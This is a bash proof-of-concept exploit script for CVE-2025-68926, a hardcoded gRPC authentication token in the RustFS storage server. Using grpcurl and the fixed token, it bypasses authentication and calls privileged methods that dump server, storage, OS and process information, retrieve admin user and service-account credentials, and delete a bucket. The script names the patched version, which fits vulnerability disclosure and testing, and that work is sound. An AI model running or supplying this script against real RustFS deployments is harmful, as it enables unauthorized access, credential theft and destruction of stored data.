#!/bin/bash # # CVE-2025-68926 - RustFS Hardcoded gRPC Authentication Token Exploit # # Vulnerability: RustFS uses a hardcoded, publicly known gRPC authentication # token "rustfs rpc" that cannot be rotated or configured. # Impact: Unauthenticated attackers can execute 73+ privileged gRPC # operations including data deletion, credential theft, # and cluster reconfiguration. # CVSS: 9.8 (CRITICAL) # Affected: RustFS < 1.0.0-alpha.78 # Fixed in: 1.0.0-alpha.78 # set +e TARGET="${1:-localhost:9000}" SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" PROTO_FILE="node.proto" HARDCODED_TOKEN="rustfs rpc" RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' CYAN='\033[0;36m' NC='\033[0m' if [ ! -f "${SCRIPT_DIR}/${PROTO_FILE}" ]; then echo -e "${RED}[!] Proto file not found: ${SCRIPT_DIR}/${PROTO_FILE}${NC}" echo " Download from: https://raw.githubusercontent.com/rustfs/rustfs/1.0.0-alpha.77/crates/protos/src/node.proto" exit 1 fi PROTO_DIR="${SCRIPT_DIR}" GRPCURL_BIN="grpcurl" CLEANUP_DIR="" # Check for grpcurl - if snap-installed, download standalone binary # (snap confinement blocks file access outside $HOME) if command -v grpcurl &> /dev/null; then if command -v grpcurl 2>/dev/null | grep -q snap; then echo -e "${YELLOW}[*] Snap-installed grpcurl detected (has file access restrictions)${NC}" echo -e "${YELLOW}[*] Downloading standalone grpcurl binary...${NC}" CLEANUP_DIR=$(mktemp -d) ARCH=$(uname -m) case "${ARCH}" in x86_64) GRPC_ARCH="x86_64" ;; aarch64) GRPC_ARCH="arm64" ;; *) GRPC_ARCH="${ARCH}" ;; esac curl -sSL "https://github.com/fullstorydev/grpcurl/releases/download/v1.9.3/grpcurl_1.9.3_linux_${GRPC_ARCH}.tar.gz" \ | tar -xz -C "${CLEANUP_DIR}" grpcurl GRPCURL_BIN="${CLEANUP_DIR}/grpcurl" chmod +x "${GRPCURL_BIN}" echo -e "${GREEN}[+] Standalone grpcurl ready${NC}" fi else echo -e "${RED}[!] grpcurl is required but not installed.${NC}" echo " Install: https://github.com/fullstorydev/grpcurl/releases" echo " Or: go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest" exit 1 fi cleanup() { [ -n "${CLEANUP_DIR}" ] && rm -rf "${CLEANUP_DIR}"; } trap cleanup EXIT echo -e "${CYAN}=========================================${NC}" echo -e "${CYAN} CVE-2025-68926 - RustFS gRPC Auth Bypass${NC}" echo -e "${CYAN}=========================================${NC}" echo -e "${YELLOW}[*] Target: ${TARGET}${NC}" echo "" # Step 1: Verify target is vulnerable (unauthenticated request should fail) echo -e "${YELLOW}[Step 1] Testing unauthenticated access (should be rejected)...${NC}" UNAUTH_RESULT=$(${GRPCURL_BIN} -plaintext -import-path "${PROTO_DIR}" -proto "${PROTO_FILE}" \ "${TARGET}" node_service.NodeService/Ping 2>&1 || true) if echo "${UNAUTH_RESULT}" | grep -q "Unauthenticated"; then echo -e "${GREEN} [+] Server rejects unauthenticated requests (expected)${NC}" else echo -e "${RED} [-] Unexpected response: ${UNAUTH_RESULT}${NC}" exit 1 fi # Step 2: Exploit with hardcoded token echo "" echo -e "${YELLOW}[Step 2] Exploiting with hardcoded token: '${HARDCODED_TOKEN}'...${NC}" AUTH_RESULT=$(${GRPCURL_BIN} -plaintext -import-path "${PROTO_DIR}" -proto "${PROTO_FILE}" \ -H "authorization: ${HARDCODED_TOKEN}" \ "${TARGET}" node_service.NodeService/Ping 2>&1) if echo "${AUTH_RESULT}" | grep -q "version"; then echo -e "${RED} [!] VULNERABLE - Authentication bypassed successfully!${NC}" echo -e " Response: ${AUTH_RESULT}" else echo -e "${GREEN} [+] Server rejected hardcoded token (patched)${NC}" exit 0 fi # Step 3: Information Disclosure - ServerInfo echo "" echo -e "${YELLOW}[Step 3] Extracting server information (ServerInfo)...${NC}" SERVER_INFO=$(${GRPCURL_BIN} -plaintext -import-path "${PROTO_DIR}" -proto "${PROTO_FILE}" \ -H "authorization: ${HARDCODED_TOKEN}" \ "${TARGET}" node_service.NodeService/ServerInfo 2>&1) echo -e "${RED} [!] Server info leaked:${NC}" echo " ${SERVER_INFO}" # Step 4: Information Disclosure - LocalStorageInfo echo "" echo -e "${YELLOW}[Step 4] Extracting storage information (LocalStorageInfo)...${NC}" STORAGE_INFO=$(${GRPCURL_BIN} -plaintext -import-path "${PROTO_DIR}" -proto "${PROTO_FILE}" \ -H "authorization: ${HARDCODED_TOKEN}" \ "${TARGET}" node_service.NodeService/LocalStorageInfo 2>&1) echo -e "${RED} [!] Storage info leaked:${NC}" echo " ${STORAGE_INFO}" # Step 5: Information Disclosure - System Info echo "" echo -e "${YELLOW}[Step 5] Extracting system information...${NC}" echo -e " ${CYAN}[OS Info]${NC}" OS_INFO=$(${GRPCURL_BIN} -plaintext -import-path "${PROTO_DIR}" -proto "${PROTO_FILE}" \ -H "authorization: ${HARDCODED_TOKEN}" \ "${TARGET}" node_service.NodeService/GetOsInfo 2>&1) echo " ${OS_INFO}" echo -e " ${CYAN}[CPU Info]${NC}" CPU_INFO=$(${GRPCURL_BIN} -plaintext -import-path "${PROTO_DIR}" -proto "${PROTO_FILE}" \ -H "authorization: ${HARDCODED_TOKEN}" \ "${TARGET}" node_service.NodeService/GetCpus 2>&1) echo " ${CPU_INFO}" echo -e " ${CYAN}[Memory Info]${NC}" MEM_INFO=$(${GRPCURL_BIN} -plaintext -import-path "${PROTO_DIR}" -proto "${PROTO_FILE}" \ -H "authorization: ${HARDCODED_TOKEN}" \ "${TARGET}" node_service.NodeService/GetMemInfo 2>&1) echo " ${MEM_INFO}" # Step 6: Credential Theft - LoadUser echo "" echo -e "${YELLOW}[Step 6] Attempting credential theft (LoadUser)...${NC}" USER_INFO=$(${GRPCURL_BIN} -plaintext -import-path "${PROTO_DIR}" -proto "${PROTO_FILE}" \ -H "authorization: ${HARDCODED_TOKEN}" \ -d '{"accessKey":"rustfsadmin"}' \ "${TARGET}" node_service.NodeService/LoadUser 2>&1) echo -e "${RED} [!] LoadUser response:${NC}" echo " ${USER_INFO}" # Step 7: Credential Theft - LoadServiceAccount echo "" echo -e "${YELLOW}[Step 7] Attempting service account theft (LoadServiceAccount)...${NC}" SA_INFO=$(${GRPCURL_BIN} -plaintext -import-path "${PROTO_DIR}" -proto "${PROTO_FILE}" \ -H "authorization: ${HARDCODED_TOKEN}" \ -d '{"accessKey":"rustfsadmin"}' \ "${TARGET}" node_service.NodeService/LoadServiceAccount 2>&1) echo -e "${RED} [!] LoadServiceAccount response:${NC}" echo " ${SA_INFO}" # Step 8: Destructive Operations - DeleteBucket echo "" echo -e "${YELLOW}[Step 8] Demonstrating destructive capability (DeleteBucket)...${NC}" DEL_RESULT=$(${GRPCURL_BIN} -plaintext -import-path "${PROTO_DIR}" -proto "${PROTO_FILE}" \ -H "authorization: ${HARDCODED_TOKEN}" \ -d '{"bucket":"test-delete"}' \ "${TARGET}" node_service.NodeService/DeleteBucket 2>&1) echo -e "${RED} [!] DeleteBucket response (attacker can delete ANY bucket):${NC}" echo " ${DEL_RESULT}" # Step 9: Get Process Info echo "" echo -e "${YELLOW}[Step 9] Extracting process info (GetProcInfo)...${NC}" PROC_RESULT=$(${GRPCURL_BIN} -plaintext -import-path "${PROTO_DIR}" -proto "${PROTO_FILE}" \ -H "authorization: ${HARDCODED_TOKEN}" \ "${TARGET}" node_service.NodeService/GetProcInfo 2>&1) echo -e "${RED} [!] GetProcInfo response:${NC}" echo " ${PROC_RESULT}" # Summary echo "" echo -e "${CYAN}=========================================${NC}" echo -e "${CYAN} Exploit Summary${NC}" echo -e "${CYAN}=========================================${NC}" echo -e "${RED} [!] Target ${TARGET} is VULNERABLE to CVE-2025-68926${NC}" echo "" echo -e " The hardcoded gRPC token '${HARDCODED_TOKEN}' grants access to:" echo -e " ${RED} - 73+ privileged gRPC methods${NC}" echo -e " ${RED} - Server/storage/system information disclosure${NC}" echo -e " ${RED} - Credential theft (users, service accounts, policies)${NC}" echo -e " ${RED} - Data destruction (delete buckets, volumes)${NC}" echo -e " ${RED} - Cluster reconfiguration${NC}" echo -e " ${RED} - Service control (stop/restart server)${NC}" echo "" echo -e "${GREEN} Fix: Upgrade to RustFS >= 1.0.0-alpha.78${NC}" echo -e "${CYAN}=========================================${NC}"